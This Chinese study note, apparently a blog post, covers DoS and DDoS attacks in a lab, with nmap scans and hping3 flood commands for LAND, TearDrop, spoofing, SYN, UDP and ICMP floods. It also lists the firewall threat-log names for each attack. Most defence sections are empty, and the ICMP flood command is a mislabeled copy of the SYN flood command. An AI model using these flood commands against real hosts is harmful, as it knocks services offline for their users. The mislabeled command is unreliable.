dos和ddos学习

        作为一个对网络安全充满好奇心的人，我决定深入学习Dos（拒绝服务攻击）和DDoS（分布式拒绝服务攻击）攻击，探索其运作原理和防御方法。对我来说，这是一段非常充实且具有挑战性的学习旅程，因为我相信只有深入了解黑客的思维方式，我才能更好地保护自己和他人的网络安全。

        学习攻击并不是为了成为黑客或从事非法活动，相反，我希望通过了解黑客的思维方式和攻击方式，能够针对性地加强和改进网络安全措施。我相信只有站在黑客的角度思考，才能更好地找到安全漏洞并加以修补，以确保自己和他人的信息和财产不被攻击者利用。

        通过建立一个合法的实验环境，我将尝试模拟DDoS攻击并研究其影响和遏制方法。通过实际操作，我能够更好地理解DDoS攻击的本质。

 

DOS

一.扫描类攻击防御

攻击：              扫描存活主机: nmap -sP 192.168.30.0/24

                        扫描开放的端口: nmap -sS 192.168.30.10

防御：防火墙在防御扫描攻击时，会对连续发送的报文进行监测，如果发现源IP地址连续发送的报文的目的地址/端口与前一个报文不同，视为异常，并计算异常次数。当异常次数超过预定义值时，该源IP地址会被加入黑名单，后续报文将直接告警或丢弃。
        ***此类防御比较耗防火墙资源，不建议长期开启***

日志：查看威胁日志
                有“Port scan attack”和“Ip sweep attack”攻击
 

二.LAND攻击防御

LAND攻击方式采用了特别构造的TCP SYN数据包，使目标机器开启一个源地址与目标地址均为自身IP地址的空连接，持续地自我应答，消耗系统资源直至崩溃
攻击：

hping3 192.168.30.10-p 445-S -a 192.168.30.10 --flood

-p端口
-S发送SYN

-a伪造源地址
--flood泛洪，持续尽快攻击

防御：

日志：

 查看“威胁日志”，发现“Land attack”威胁

三.泪滴攻击

泪滴攻击(TearDrop)指的是向目标机器发送损坏的IP包，诸如重叠的包或过大的包载荷。借由这些手段，该攻击可以通过TCP/IP协议栈中分片重组代码中的bug来瘫痪各种不同的操作系统

攻击：

hping3 192.168.30.10-p 445 -S -d 666666 --flood

-p端口
-S发送SYN
-d指定数据包大小(大于65535)

--flood泛洪，持续尽快攻击
防御：

日志：查看“威胁日志”，发现“Tear drop attack”威胁
 

四.IP地址欺骗

IP地址欺骗是指伪造lP数据包的源IP地址进行攻击，如果使用随机源地址使目标无法追溯

攻击：hping3 192.168.30.10-p 445-S --rand-source --flood

-p端口
-S发送SYN
--rand-source大量随机源地址

--flood泛洪，持续尽快攻击
 

防御：

日志：查看“威胁日志”，发现“IP spoof attack”威胁

 

流量攻击（DDos）

DDoS(Distributed Denial of Service)攻击是指攻击者通过控制大量的僵尸主机(俗称“肉鸡”），向被攻击目标发送大量精心构造的攻击报文，造成被攻击者所在网络的链路拥塞、系统资源耗尽
 

一.SYN Flood攻击是利用TCP协定缺陷，向目标主机发送大量伪造源地址SYN报文，受害主机无法收到ACK报文，致使目标主机存在大量的半连接，从而消耗主机资源.

攻击：hping3 192.168.30.10-S-p 80 --rand-source --flood

                                                                随机源          泛洪

防御：

 查看威胁日志存在“Syn flood attack”威胁

二.UDP Flood攻击属于带宽类攻击，攻击者通过僵尸主机向目标服务器发送大量UDP报文，这种UDP报文的字节数很大且速率非常快，通常会消耗网络带宽资源，严重时造成链路拥塞

攻击：hping3 192.168.30.10--udp -p 80 --rand-source -flood

防火墙防御UDP Flood攻击主要有两种方式:限流和指纹学习

防御：

 查看威胁日志存在“Udp flood attack”威胁

三.ICMP Flood攻击，该攻击在短时间内向目的主机发送大量ping包，消耗主机资源

攻击：hping3 192.168.30.10-S -p 80 --rand-source --flood
防御：

 查看威胁日志存在“Icmp flood attack limit”威胁

四.DNS Flood攻击指的是攻击者向DNS服务器发送大量的不存在的域名解析请求，导致DNS服务器瘫痪，无法处理正常的域名解析请求。

五.HTTP Flood攻击，攻击者控制僵尸主机向目标服务器发送大量的HTTP请求报文，这些请求报文中一般都包含涉及消耗系统资源的URI(统一资源标识符)，从而消耗目标服务器资源，无法响应正常请求

dos和ddos防御延伸

下列可勾选的都是可以防控的